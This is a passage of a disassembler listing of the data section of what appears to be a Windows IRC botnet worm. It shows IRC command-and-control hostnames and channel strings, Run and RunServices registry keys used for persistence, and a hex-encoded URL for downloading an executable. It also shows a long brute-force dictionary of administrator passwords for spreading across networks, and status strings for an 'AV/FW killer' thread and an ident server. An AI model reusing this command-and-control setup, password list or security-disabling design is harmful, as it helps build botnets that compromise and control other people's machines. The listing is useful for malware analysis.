aTz		db 'TZ',0               ; DATA XREF: sub_4247EC+Ao
		align 4
aGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_424D78+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 4
dword_427CE8	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E24h
off_427D04	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E70
off_427D14	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D20	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EBC
off_427D40	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F00
off_427D60	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D764o ...
		dd offset dword_427F30
off_427D68	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 8
dword_427D88	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DA8	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC0	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D764h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF0	dd offset off_43D77C	; DATA XREF: ___:00427E08o
					; ___:00427E54o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E10	dd 3 dup(0)		; DATA XREF: ___:00427E34o
		dd 2, 427E08h, 3 dup(0)
		dd offset off_43D77C
		dd offset dword_427E10+4
off_427E38	dd offset off_43D79C	; DATA XREF: ___:00427E50o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E38
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E5C	dd 3 dup(0)		; DATA XREF: ___:00427E80o
		dd 3, 427E50h
dword_427E70	dd 3 dup(0)		; DATA XREF: ___:00427D10o
		dd offset off_43D79C
		dd offset dword_427E5C+4
off_427E84	dd offset off_43D7BC	; DATA XREF: ___:00427E9Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E84
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427EA8	dd 3 dup(0)		; DATA XREF: ___:00427ECCo
		dd 3, 427E9Ch
dword_427EBC	dd 3 dup(0)		; DATA XREF: ___:00427D3Co
		dd offset off_43D7BC
		dd offset dword_427EA8+4
off_427ED0	dd offset off_43D7E0	; DATA XREF: ___:00427EE8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED0
dword_427EEC	dd 3 dup(0)		; DATA XREF: ___:00427F10o
		dd 1, 427EE8h
dword_427F00	dd 3 dup(0)		; DATA XREF: ___:00427D5Co
		dd offset off_43D7E0
		dd offset dword_427EEC+4
		dd offset dword_427DC0+18h
dword_427F18	dd 4 dup(0)		; DATA XREF: ___:00427F40o
		dd 1, 427F14h
dword_427F30	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D764
		dd offset dword_427F18+8
		align 8
dword_427F48	dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F78	dd 19930520h, 2, 427F98h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FA8	dd 19930520h, 2, 427FC8h, 1, 427FD8h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF0h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0D7h, 40h, 0
		dd 0FFFFFFFFh, 426E2Ah
dword_428008	dd 19930520h, 1, 428000h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D764
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D77C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D79C
		align 8
		dd 0FFFFFFFFh, 0
dword_428070	dd 1Ch,	426682h, 3, 42805Ch, 428040h, 428024h ;	DATA XREF: ___:00428094o
dword_428088	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428070+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A0	dd 19930520h, 1, 428098h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280C4	dd 19930520h, 1, 4280BCh, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280E8	dd 19930520h, 1, 4280E0h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D7BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428118	dd 1Ch,	4266DEh, 3, 428104h, 428040h, 428024h ;	DATA XREF: ___:0042813Co
dword_428130	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428118+8
		dd 0FFFFFFFFh, 426E72h
dword_428148	dd 19930520h, 1, 428140h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_428164	dd 2, 428040h, 428024h	; DATA XREF: ___:0042817Co
dword_428170	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_428164
a77777GCgCgCgCg	db '7╡╟)7╡╟)7╡╟)7╡╟)7╡╟)ёщ+Cёщ+Cёщ+Cёщ+Cёщ+Cр░░&р░░&р░░&р░░&р░░&',0
		align 10h
		dd 79h dup(0)
		dd 269090D2h, 0
		dd 29B0B237h, 15h dup(0)
		dd 432BDDA3h, 2FEh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D879
		dd offset sub_40D89B
		dd offset dword_40E504+1D0h
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Cr
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2089r
					; sub_40BACE+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C44r
					; sub_40BACE:loc_40BEBFr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DD0r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Fr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_41835A+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Cr ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB6+3Ar
					; sub_40ACB6+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aQsfposs	db 'qsfposs',0          ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A1o ...
aAbosel7Vs	db 'abosel7 vs',0       ; DATA XREF: sub_401ACD:loc_404946o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDCo
					; sub_401ACD+7EABo
		align 10h
aSaber4_ircqfor	db 'saber4.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 10h
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E8	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_42910C	db 75h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 70h,	64h, 65h
		dd 6E697774h, 78652E64h, 65h
dword_42911C	dd 6E646977h, 61622E74h, 74h ; DATA XREF: ___:00411C51o
aWindsSerscAgts	db 'Winds Sersc Agts',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F27o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D46o
					; sub_401ACD+3040o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A3o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C5o
					; sub_401ACD+4217o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FCo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Bo
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E7A+28o
					; sub_41A19E+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E7A+D4o
					; sub_41A19E+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch,	429910h
		dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h,	4298DCh
		dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h,	4298A4h
		dd 4298A0h, 429898h, 429894h, 0
		dd offset dword_43D808
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 10h
dword_4294D0	dd 10h			; DATA XREF: sub_401ACD+AFCr
					; sub_401ACD+B28r ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294BCo
		align 10h
aLan		db 'lan',0              ; DATA XREF: ___:004294B4o
aMain		db 'main',0             ; DATA XREF: ___:004294B0o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294ACo
aBlank		db 'blank',0            ; DATA XREF: ___:004294A8o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A4o
		align 4
aControl	db 'control',0          ; DATA XREF: ___:004294A0o
aXp		db 'xp',0               ; DATA XREF: ___:0042949Co
		align 10h
aNokia		db 'nokia',0            ; DATA XREF: ___:00429498o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429494o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:00429490o
aCompaq		db 'compaq',0           ; DATA XREF: ___:0042948Co
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429488o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: ___:00429484o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:00429480o
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429478o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o
		align 10h
aSql		db 'sql',0              ; DATA XREF: ___:00429470o
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFDo
					; ___:0042946Co
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429468o
		align 10h
aDb1		db 'db1',0              ; DATA XREF: ___:00429460o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:0042945Co
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429458o
		align 10h
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429454o
		align 10h
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:00429450o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:0042944Co
		align 4
aAccess		db 'access',0           ; DATA XREF: ___:00429448o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:00429440o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:0042943Co
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429438o
		align 10h
aHello		db 'hello',0            ; DATA XREF: ___:00429434o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00429430o
		align 10h
aGod		db 'god',0              ; DATA XREF: ___:0042942Co
aSex		db 'sex',0              ; DATA XREF: ___:00429428o
					; ___:off_4385E8o
aSlut		db 'slut',0             ; DATA XREF: ___:00429424o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: ___:00429420o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:0042941Co
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: ___:00429418o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429414o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: ___:00429410o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:0042940Co
		align 4
aLogin		db 'login',0            ; DATA XREF: sub_401ACD+AA3o
					; ___:00429408o
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:00429404o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:00429400o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004293F8o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F4o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004293F0o
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293ECo
		align 4
aIan		db 'ian',0              ; DATA XREF: ___:004293E8o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E4o
		align 10h
aLee		db 'lee',0              ; DATA XREF: ___:004293E0o
aBrian		db 'brian',0            ; DATA XREF: ___:004293DCo
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D4o
		align 4
aSue		db 'sue',0              ; DATA XREF: ___:004293D0o
aSam		db 'sam',0              ; DATA XREF: ___:004293CCo
aLuke		db 'luke',0             ; DATA XREF: ___:004293C8o
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:004293C4o
					; ___:004293D8o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293C0o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:004293BCo
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B8o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:004293B4o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293B0o
aJen		db 'jen',0              ; DATA XREF: ___:004293ACo
aBob		db 'bob',0              ; DATA XREF: ___:004293A8o
					; ___:004293FCo
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A4o
aZxc		db 'zxc',0              ; DATA XREF: ___:004293A0o
aAsd		db 'asd',0              ; DATA XREF: ___:0042939Co
aQaz		db 'qaz',0              ; DATA XREF: ___:00429398o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429394o
aWinnt		db 'winnt',0            ; DATA XREF: ___:00429390o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:0042938Co
		align 10h
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429388o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429384o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: ___:00429380o
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:0042937Co
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429378o
aOem		db 'oem',0              ; DATA XREF: ___:00429374o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D4o
					; ___:00429370o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:0042936Co
		align 4
aHome		db 'home',0             ; DATA XREF: ___:00429368o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429364o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:00429360o
		align 4
aInternet	db 'internet',0         ; DATA XREF: ___:0042935Co
					; ___:004294B8o
		align 10h
aWww		db 'www',0              ; DATA XREF: ___:00429358o
aWeb		db 'web',0              ; DATA XREF: ___:00429354o
aOutlook	db 'outlook',0          ; DATA XREF: ___:00429350o
aMail		db 'mail',0             ; DATA XREF: ___:0042934Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429348o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: ___:00429344o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E90o
					; ___:0042933Co
		align 10h
aSystem		db 'system',0           ; DATA XREF: ___:00429338o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:00429330o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:0042932Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429328o
		align 4
aDemo		db 'demo',0             ; DATA XREF: ___:00429324o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:00429320o
		align 4
aTest		db 'test',0             ; DATA XREF: ___:00429318o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429314o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AA43+BAo
					; ___:00429310o
		align 4
a2002		db '2002',0             ; DATA XREF: ___:0042930Co
		align 4
a2001		db '2001',0             ; DATA XREF: ___:00429308o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429304o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: ___:00429300o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: ___:004292FCo
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F4o
a123456		db '123456',0           ; DATA XREF: ___:004292F0o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292ECo
		align 10h
a1234		db '1234',0             ; DATA XREF: ___:004292E8o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E4o
a12		db '12',0               ; DATA XREF: ___:004292E0o
		align 10h
a1:					; DATA XREF: ___:004292DCo
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D8o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D4o
aPass		db 'pass',0             ; DATA XREF: ___:004292D0o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292CCo
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C8o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C4o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: ___:004292C0o
		align 10h
aAdm		db 'adm',0              ; DATA XREF: ___:004292BCo
aDb2		db 'db2',0              ; DATA XREF: ___:00429464o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042947Co
		align 10h
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429444o
		align 10h
aDefault	db 'default',0          ; DATA XREF: ___:00429334o
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042931Co
		align 10h
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C4o
aStudent	db 'student',0          ; DATA XREF: ___:004294C0o
aOwner		db 'owner',0
		align 4
aComputer	db 'computer',0
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:00429340o
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C8o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B8o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B4o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292B0o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292ACo
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A4o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4299D8	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A0C	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A38	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A78	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A9C	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AB8	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC4	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A30+7Eo
dword_429ACC	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B4+EAo ...
unk_429AD4	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Fo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F17o
		align 4
unk_429B3C	db  2Dh	; -		; DATA XREF: sub_401ACD+7F0Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
